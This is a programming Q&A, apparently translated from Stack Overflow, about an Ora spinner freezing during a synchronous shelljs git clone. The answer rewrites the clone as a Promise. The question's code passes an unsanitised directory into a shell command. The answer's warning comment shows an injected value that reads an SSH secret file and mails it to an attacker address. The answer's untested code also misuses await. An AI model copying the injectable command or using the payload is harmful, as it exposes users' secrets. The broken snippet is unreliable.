ORA微调器在使用Inquirer.js的命令行界面上停止

Question

我不知道这个问题的标题是什么，但我会尽量在剩下的问题中传达出来。

我正在开发一个CLI，它首先提示用户几个问题，并根据答案克隆一个存储库。

示例：

Frontend Framework:
[x] Vue
[ ] React

⠋ Cloning Vue repository...

我使用Ora来显示微调器。

问题是微调器在启动前会冻结。我正在使用的其他软件包是Inquirer，Shelljs，Chalk和Commander.js for CLI。

CLI
    .command("Frontend")
    .alias("F")
    .description("Frontend Framework")
    .action(() => {
        inquirer.prompt(Questions).then((Answers) => {

            const Spinner = new Ora({
                text: `${chalk.bold(chalk.blue('Cloning Git Repository...'))}`,
                discardStdin: false
            }).start()

            if (Answers.Framework === 'Vue') {
                cloneRepo(Answers.Dir, "git@github.com:Vue/Vuejs.git")


            } else if (Answers.Framework === 'React') {
                cloneRepo(Answers.Dir, "git@github.com:facebook/reactjs.git")
            }

            Spinner.stopAndPersist({
                symbol: "✨",
                text: `${chalk.bold(chalk.green('Git repository cloned'))}`
            })

        })
    })

问题数组

const Questions = [
    {
        type: "list",
        name: "Framework",
        message: "Which frontend framework would you like to use?",
        default: "Vue",
        choices: [
            'Vue',
            'React',
        ]
    },
]

克隆功能：

const cloneRepo = (Dir, Repo) => {
    if (shell.exec(`cd ${Dir} && git clone ${Repo} -q .`).code !== 0) {
        shell.echo('Error: Git clone failed')
        shell.exit(1)
    }
}

我尝试过Spinnies，但问题是一样的，它冻结了，一旦过程完成，它就会显示成功消息。我已经尝试了一些可能性，但不知道如何解决异步。

其他软件包：- Inquirer.js - Commander.js - Shelljs

任何帮助都将不胜感激。

Answer 1

这是因为您的cloneRepo是同步的-也就是说，它从不让执行转移到事件循环。This is a common enough source of confusion that it's documented in the Ora project's README.

您将需要重写cloneRepo函数以(a)返回一个Promise，(b)异步调用外壳命令。类似于(未经测试，基于the Shelljs docs)：

const cloneRepo = (Dir, Repo) => 
    new Promise((fulfill, reject) => {
        // FIXME You should *really* be protecting against injection attacks in here.
        // If somebody caused Dir to be something like
        // ". ; cat ~/.ssh/secret_file | email_prog -s 'Your Secrets' evildoer@gmail(dot)com ; cd repodir"
        // you'd be in for a bad day.
        shell.exec(`cd ${Dir} && git clone ${Repo} -q .`, (code, stdout, stderr) => {
            if (code !== 0) {
                reject(new Error('Git clone failed'))
                return
            }
            fulfill({ code, stdout, stderr })
        })
    }).catch(err => {
        // IMO, this kind of error handling should really be allowed to "bubble up",
        // but this more closely replicates your existing implementation...
        shell.echo(`Error: ${err.message}`)
        shell.exit(1)
    })

(Here's a link to the Shelljs guidelines regarding injection, by the way.)

然后，在你的main中，你会这样做

        inquirer.prompt(Questions).then(await (Answers) => {

            const Spinner = new Ora({
                text: `${chalk.bold(chalk.blue('Cloning Git Repository...'))}`,
                discardStdin: false
            }).start()

            if (Answers.Framework === 'Vue') {
                await cloneRepo(Answers.Dir, "git@github.com:Vue/Vuejs.git")


            } else if (Answers.Framework === 'React') {
                await cloneRepo(Answers.Dir, "git@github.com:facebook/reactjs.git")
            }

            Spinner.stopAndPersist({
                symbol: "✨",
                text: `${chalk.bold(chalk.green('Git repository cloned'))}`
            })

        })